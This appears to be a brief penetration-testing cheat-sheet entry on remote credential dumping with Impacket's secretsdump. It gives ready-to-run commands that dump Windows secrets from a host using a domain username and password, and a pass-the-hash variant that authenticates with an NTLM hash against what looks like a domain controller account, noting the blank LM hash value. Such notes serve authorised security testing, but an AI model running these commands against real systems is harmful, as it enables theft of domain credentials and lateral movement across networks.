Remote Cred Dumping

Secretsdump

Impacket's secretsdump can be used to remotely dump secrets.

impacket-secretsdump test.local/john:[email protected]

Or with Pass the Hash:

impacket-secretsdump internal.zsm.local/ZPH-SVRCDC01\[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:d47a6d90e1cAAAAA227514e393948

aad3b435b51404eeaad3b435b51404ee == blank LM hash